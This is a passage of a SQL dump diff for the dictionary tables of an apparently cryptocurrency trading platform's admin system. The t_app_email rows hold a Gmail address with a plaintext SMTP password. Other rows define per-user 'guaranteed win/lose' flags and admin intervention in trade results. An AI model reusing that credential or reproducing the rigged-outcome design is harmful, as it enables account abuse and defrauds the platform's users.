'sys_oper_type', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '删除操作'); +INSERT INTO `sys_dict_data` VALUES (22, 4, '授权', '4', 'sys_oper_type', '', 'primary', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '授权操作'); +INSERT INTO `sys_dict_data` VALUES (23, 5, '导出', '5', 'sys_oper_type', '', 'warning', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '导出操作'); +INSERT INTO `sys_dict_data` VALUES (24, 6, '导入', '6', 'sys_oper_type', '', 'warning', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '导入操作'); +INSERT INTO `sys_dict_data` VALUES (25, 7, '强退', '7', 'sys_oper_type', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '强退操作'); +INSERT INTO `sys_dict_data` VALUES (26, 8, '生成代码', '8', 'sys_oper_type', '', 'warning', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '生成操作'); +INSERT INTO `sys_dict_data` VALUES (27, 9, '清空数据', '9', 'sys_oper_type', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '清空操作'); +INSERT INTO `sys_dict_data` VALUES (28, 1, '成功', '0', 'sys_common_status', '', 'primary', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (29, 2, '失败', '1', 'sys_common_status', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '停用状态'); +INSERT INTO `sys_dict_data` VALUES (100, 1, 'USDT-ERC', 'usdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:22:51', 'admin', '2023-07-04 15:33:30', NULL); +INSERT INTO `sys_dict_data` VALUES (101, 3, 'BTC', 'btcusdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:23:11', 'admin', '2023-07-04 15:34:59', NULL); +INSERT INTO `sys_dict_data` VALUES (102, 4, 'ETH', 'ethusdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:23:26', 'admin', '2023-07-04 15:35:12', NULL); +INSERT INTO `sys_dict_data` VALUES (103, 2, 'USDT-TRC', 'usdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:23:42', 'admin', '2023-07-04 15:34:27', NULL); +INSERT INTO `sys_dict_data` VALUES (104, 1, 'login', '1', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:47:20', 'admin', '2023-07-03 15:48:16', NULL); +INSERT INTO `sys_dict_data` VALUES (105, 2, 'email', '2', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:47:28', 'admin', '2023-07-03 15:48:11', NULL); +INSERT INTO `sys_dict_data` VALUES (106, 3, 'phone', '3', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:47:38', 'admin', '2023-07-03 15:48:07', NULL); +INSERT INTO `sys_dict_data` VALUES (107, 4, 'adress', '4', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:48:02', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (108, 0, 'mail.template', 'bindCodeEmail.ftl', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:49:58', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (109, 1, 'mail.appName', 'ECHO', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:50:18', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (110, 2, 'mail.username', 'pipixia0528@gmail.com', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:50:38', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (111, 3, 'mail.password', 'gbpsjtgzdxplaevi', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:50:57', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (112, 4, 'mail.host', 'smtp.gmail.com', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:51:16', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (113, 5, 'mail.port', '465', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:51:37', 'admin', '2023-07-03 15:51:43', NULL); +INSERT INTO `sys_dict_data` VALUES (114, 6, 'mail.smtp.socketFactory.class', 'javax.net.ssl.SSLSocketFactory', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:01', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (115, 7, 'mail.properties.mail.smtp.auth', 'true', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:19', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (116, 8, 'mail.properties.mail.smtp.starttls.enable', 'true', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:37', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (117, 9, 'mail.properties.mail.smtp.starttls.required', 'true', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:57', 'admin', '2023-07-03 15:53:01', NULL); +INSERT INTO `sys_dict_data` VALUES (118, 0, '普通用户', '0', 'sys_user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 14:41:22', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (119, 1, '组长', '1', 'sys_user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 14:41:51', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (120, 2, '代理', '2', 'sys_user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 14:42:01', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (121, 0, '实名认证(初级)', 'app.verified.primary', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:40:38', 'admin', '2023-07-07 15:40:51', NULL); +INSERT INTO `sys_dict_data` VALUES (122, 1, '实名认证(高级)', 'app.verified.advanced', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:41:12', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (123, 2, '绑定银行卡', 'app.bind.bank', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:42:05', 'admin', '2023-07-07 15:42:12', NULL); +INSERT INTO `sys_dict_data` VALUES (124, 3, '设置资金密码', 'app.tard.pwd', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:43:10', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (125, 4, '设置登陆密码', 'app.login.pwd', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:44:27', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (126, 5, '邮箱认证', 'app.email.certified', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:46:11', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (127, 7, '服务条款', 'app.terms.service', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:46:54', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (128, 8, '白皮书', 'app.white.paper', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:48:01', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (129, 9, '语言', 'app.language', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:48:52', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (601, 4, '中文(简体)', 'zh', 't_app_language', 'cn', 'success', 'Y', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.02877f2fcc3f44c6689306d8039a0d20c.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:51:14', '中文(简体)'); +INSERT INTO `sys_dict_data` VALUES (603, 1, '英语', 'en', 't_app_language', 'us', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09d81740435c046b887686bfce921ec53.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-24 14:54:50', 'English'); +INSERT INTO `sys_dict_data` VALUES (604, 4, '葡萄牙语', 'pt', 't_app_language', 'pt', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/putaoya_20230804155310A024.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:53:12', 'Português'); +INSERT INTO `sys_dict_data` VALUES (606, 3, '韩语', 'ko', 't_app_language', 'kr', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0ed68f6ddb2ae4f4bad26324135f723b5.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:50:49', '한국인'); +INSERT INTO `sys_dict_data` VALUES (607, 2, '日语', 'ja', 't_app_language', 'jp', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09bc6c590afa84f0780893393bbfe6f8b.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:50:38', '日本語'); +INSERT INTO `sys_dict_data` VALUES (608, 8, '西班牙语', 'es', 't_app_language', 'es', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/xibanya_20230804155236A022.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:52:37', 'español'); +INSERT INTO `sys_dict_data` VALUES (609, 6, '泰语', 'th', 't_app_language', 'th', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d2d169261acd4ec38301f0463f4d3610.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:51:51', 'ไทย'); +INSERT INTO `sys_dict_data` VALUES (612, 99, '法语', 'fr', 't_app_language', 'fr', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/faguo_20230804155338A026.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:53:40', 'Français'); +INSERT INTO `sys_dict_data` VALUES (613, 99, '俄语', 'ru', 't_app_language', 'ru', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/eguo_20230804155411A028.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:54:12', 'Русский язык'); +INSERT INTO `sys_dict_data` VALUES (627, 5, '越南语', 'vi', 't_app_language', 'vn', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0a119950ef2af4521b3a3943cfc49de98.png', '0', 'tecom', '2022-05-31 20:10:26', 'admin', '2023-08-11 13:51:38', 'Tiếng Việt'); +INSERT INTO `sys_dict_data` VALUES (882, 99, '德语', 'de', 't_app_language', 'de', 'success', 'N', NULL, '1', 'ppp007', '2022-11-03 13:57:14', 'admin', '2023-08-03 14:46:22', 'Deutsch'); +INSERT INTO `sys_dict_data` VALUES (883, 99, '立陶宛语', 'it', 't_app_language', 'it', 'success', 'N', NULL, '1', 'ppp007', '2022-11-03 13:57:56', 'admin', '2023-08-03 14:46:25', 'Italian'); +INSERT INTO `sys_dict_data` VALUES (947, 99, '中文(繁體)', 'tw', 't_app_language', 'cn', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c9d4ed570f5647f7b3d0421321c601e6.png', '0', 'ppp008', '2023-04-20 14:37:54', 'admin', '2023-08-11 13:52:06', '中文(繁體)'); +INSERT INTO `sys_dict_data` VALUES (948, 0, '到期一次还本息', '0', 't_repay_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-01 16:54:49', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (949, 0, '测试用户', '1', 'user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:36:29', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (950, 0, '正常用户', '0', 'user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:36:38', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (951, 0, '正常', '1', 'user_freeze', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:38:19', 'admin', '2023-08-02 13:52:59', NULL); +INSERT INTO `sys_dict_data` VALUES (952, 1, '冻结', '2', 'user_freeze', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:38:27', 'admin', '2023-08-02 13:53:04', NULL); +INSERT INTO `sys_dict_data` VALUES (953, 0, 'ETH', 'ETH', 'user_address_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:51:31', 'admin', '2023-08-02 13:51:44', NULL); +INSERT INTO `sys_dict_data` VALUES (954, 1, 'TRC', 'TRC', 'user_address_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:51:52', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (955, 0, '正常', '0', 'user_buff_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:54:30', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (956, 1, '包赢 ', '1', 'user_buff_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:54:42', 'admin', '2023-08-02 13:54:55', NULL); +INSERT INTO `sys_dict_data` VALUES (957, 2, '包输', '2', 'user_buff_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:54:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (958, 0, '已审核', '1', 'audit_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 14:20:39', 'admin', '2023-08-21 19:03:24', NULL); +INSERT INTO `sys_dict_data` VALUES (959, 1, '已拒绝', '2', 'audit_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 14:20:57', 'admin', '2023-08-21 19:04:47', NULL); +INSERT INTO `sys_dict_data` VALUES (960, 2, '待审核', '3', 'audit_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 14:21:07', 'admin', '2023-08-21 19:04:03', NULL); +INSERT INTO `sys_dict_data` VALUES (1100, 0, '待成交', '0', 'sys_contract_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-03 15:40:45', 'admin', '2023-08-03 16:03:45', NULL); +INSERT INTO `sys_dict_data` VALUES (1101, 0, '完全成交', '1', 'sys_contract_status', '1', 'success', 'N', NULL, '0', 'admin', '2023-08-03 15:40:57', 'admin', '2023-08-03 16:03:51', NULL); +INSERT INTO `sys_dict_data` VALUES (1102, 0, '部分成交', '2', 'sys_contract_status', '2', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 15:41:05', 'admin', '2023-08-03 16:03:59', NULL); +INSERT INTO `sys_dict_data` VALUES (1103, 0, '已撤销', '3', 'sys_contract_status', '3', 'warning', 'N', NULL, '0', 'admin', '2023-08-03 15:41:13', 'admin', '2023-08-03 16:04:07', NULL); +INSERT INTO `sys_dict_data` VALUES (1104, 0, '买入做多', '0', 'sys_ucontract_tradetype', '0', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 16:00:40', 'admin', '2023-08-03 16:05:18', NULL); +INSERT INTO `sys_dict_data` VALUES (1105, 0, '卖出开空', '1', 'sys_ucontract_tradetype', '1', 'warning', 'N', NULL, '0', 'admin', '2023-08-03 16:00:59', 'admin', '2023-08-03 16:04:27', NULL); +INSERT INTO `sys_dict_data` VALUES (1106, 0, '限价', '0', 'sys_ucontract_delegatetype', '0', 'warning', 'N', NULL, '0', 'admin', '2023-08-03 16:09:43', 'admin', '2023-08-03 16:10:29', NULL); +INSERT INTO `sys_dict_data` VALUES (1107, 0, '市价', '1', 'sys_ucontract_delegatetype', '1', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 16:10:15', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1108, 0, '启用', '0', 'con_ucontract_show', '0', 'success', 'N', NULL, '0', 'admin', '2023-08-03 16:55:06', 'admin', '2023-08-03 16:55:53', NULL); +INSERT INTO `sys_dict_data` VALUES (1109, 0, '禁止', '1', 'con_ucontract_show', '1', 'info', 'N', NULL, '0', 'admin', '2023-08-03 16:55:32', 'admin', '2023-08-03 16:55:37', NULL); +INSERT INTO `sys_dict_data` VALUES (1110, 0, '启用', '0', 'con_ucontract_enable', 'mini', 'success', 'N', NULL, '0', 'admin', '2023-08-03 16:57:00', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1111, 0, '禁用', '1', 'con_ucontract_enable', 'mini', 'info', 'N', NULL, '0', 'admin', '2023-08-03 16:57:28', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1112, 0, '是', '0', 'con_ucontract_trade', 'mini', 'success', 'N', NULL, '0', 'admin', '2023-08-03 16:57:55', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1113, 0, '否', '1', 'con_ucontract_trade', 'mini', 'info', 'N', NULL, '0', 'admin', '2023-08-03 16:58:12', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1114, 0, '待审核', '0', 'recharge_order_status', 'mini', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 17:14:34', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1115, 0, '成功', '1', 'recharge_order_status', 'mini', 'success', 'N', NULL, '0', 'admin', '2023-08-03 17:14:59', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1116, 0, '失败', '2', 'recharge_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:15:23', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1117, 0, '超时失败', '3', 'recharge_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:15:47', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1118, 0, '通道失败', '4', 'recharge_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:15:58', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1119, 0, '审核中', '0', 'withdraw_order_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-03 17:20:14', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1120, 0, '成功', '1', 'withdraw_order_status', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-03 17:21:30', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1121, 0, '失败', '2', 'withdraw_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:21:41', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1122, 0, '锁定', '3', 'withdraw_order_status', NULL, 'warning', 'N', NULL, '0', 'admin', '2023-08-03 17:21:56', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1124, 0, '平台资产', '1', 'user_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-07 10:40:22', 'admin', '2023-08-07 10:41:01', NULL); +INSERT INTO `sys_dict_data` VALUES (1125, 1, '理财资产', '2', 'user_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-07 10:40:33', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1126, 2, '合约账户', '3', 'user_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-07 10:40:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1127, 0, '是', '0', 'con_ucontract_openbuy', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:50:40', 'admin', '2023-08-05 15:50:51', NULL); +INSERT INTO `sys_dict_data` VALUES (1128, 0, '否', '1', 'con_ucontract_openbuy', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:51:03', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1129, 0, '是', '0', 'con_ucontract_opensell', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:51:21', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1130, 0, '否', '1', 'con_ucontract_opensell', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:51:33', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1131, 0, '是', '0', 'con_ucontract_marketsell', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:52:32', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1132, 0, '否', '1', 'con_ucontract_marketsell', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:52:41', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1133, 0, '是', '0', 'con_ucontract_marketbuy', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:53:04', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1134, 0, '否', '1', 'con_ucontract_marketbuy', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:53:13', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1135, 0, '赢', '1', 'coin_quickly_status', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 16:39:35', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1136, 0, '输', '2', 'coin_quickly_status', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-08-05 16:39:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1137, 0, '平', '3', 'coin_quickly_status', NULL, 'warning', 'N', NULL, '0', 'admin', '2023-08-05 16:40:02', 'admin', '2023-08-05 16:40:15', NULL); +INSERT INTO `sys_dict_data` VALUES (1138, 0, '参与中', '0', 'coin_quickly_result', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-05 16:40:36', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1139, 0, '已开奖', '1', 'coin_quickly_result', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 16:40:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1140, 0, '已撤销', '2', 'coin_quickly_result', NULL, 'warning', 'N', NULL, '0', 'admin', '2023-08-05 16:41:02', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1141, 0, '正常', '0', 'coin_quickly_sign', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-05 16:45:30', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1142, 0, '包赢', '1', 'coin_quickly_sign', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 16:45:44', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1143, 0, '包输', '2', 'coin_quickly_sign', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-08-05 16:46:02', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1144, 0, '是', '0', 'coin_quickly_intervene', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 17:33:44', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1145, 0, '否', '1', 'coin_quickly_intervene', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 17:33:53', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1146, 1, '涨', '1', 'coin_quickly_direction', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 17:34:50', 'admin', '2023-08-10 17:12:24', NULL); +INSERT INTO `sys_dict_data` VALUES (1147, 0, '跌', '0', 'coin_quickly_direction', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-08-05 17:34:59', 'admin', '2023-08-10 17:12:19', NULL); +INSERT INTO `sys_dict_data` VALUES (1148, 0, '平台资产', '1', 't_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-15 14:46:15', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1149, 1, '理财资产', '2', 't_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-15 14:46:24', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1150, 2, '合约账户', '3', 't_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-15 14:46:35', 'admin', '2023-08-15 14:46:43', NULL); +INSERT INTO `sys_dict_data` VALUES (1151, 1, 'USDT', '0', 'defi_activity_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:09', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1152, 2, 'ETH', '1', 'defi_activity_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:20', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1153, 0, '未读', '0', 'defi_activity_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:34', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1154, 1, '已读', '1', 'defi_activity_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:41', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1155, 2, '已领取', '2', 'defi_activity_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:49', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1156, 0, '普通', '0', 'financial_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-24 15:50:54', 'admin', '2023-08-24 15:58:32', NULL); +INSERT INTO `sys_dict_data` VALUES (1157, 1, 'vip', '1', 'financial_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-24 15:51:17', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1158, 2, '增值', '2', 'financial_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-24 15:51:32', 'admin', '2023-08-24 15:58:47', NULL); +INSERT INTO `sys_dict_data` VALUES (1159, 0, '外汇', '1', 't_second_coin_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-29 18:26:35', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1160, 0, '虚拟币', '2', 't_second_coin_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-29 18:26:47', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1161, 0, '黄金白银', '3', 't_second_coin_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-09-05 13:36:10', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1162, 0, '未提交', '0', 'positon_audit_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-09-21 16:37:34', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1163, 0, '待审核', '3', 'positon_audit_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-09-21 16:38:12', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1164, 0, '审核通过', '1', 'positon_audit_status', NULL, 'success', 'N', NULL, '0', 'admin', '2023-09-21 16:38:32', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1165, 0, '拒绝', '2', 'positon_audit_status', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-09-21 17:30:11', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1166, 0, '已提交', '5', 'positon_audit_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-09-21 17:43:04', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1183, 0, '正常', '0', 'app_user_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-10-27 14:37:48', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1184, 1, '冻结', '1', 'app_user_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-10-27 14:38:03', '', NULL, NULL); + +-- ---------------------------- +-- Table structure for sys_dict_type +-- ---------------------------- +DROP TABLE IF EXISTS `sys_dict_type`; +CREATE TABLE `sys_dict_type` ( + `dict_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '字典主键', + `dict_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典名称', + `dict_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典类型', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '状态(0正常 1停用)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`dict_id`) USING BTREE, + UNIQUE INDEX `dict_type`(`dict_type`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 229 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '字典类型表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_dict_type +-- ---------------------------- +INSERT INTO `sys_dict_type` VALUES (1, '用户性别', 'sys_user_sex', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '用户性别列表'); +INSERT INTO `sys_dict_type` VALUES (2, '菜单状态', 'sys_show_hide', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '菜单状态列表'); +INSERT INTO `sys_dict_type` VALUES (3, '系统开关', 'sys_normal_disable', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统开关列表'); +INSERT INTO `sys_dict_type` VALUES (4, '任务状态', 'sys_job_status', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '任务状态列表'); 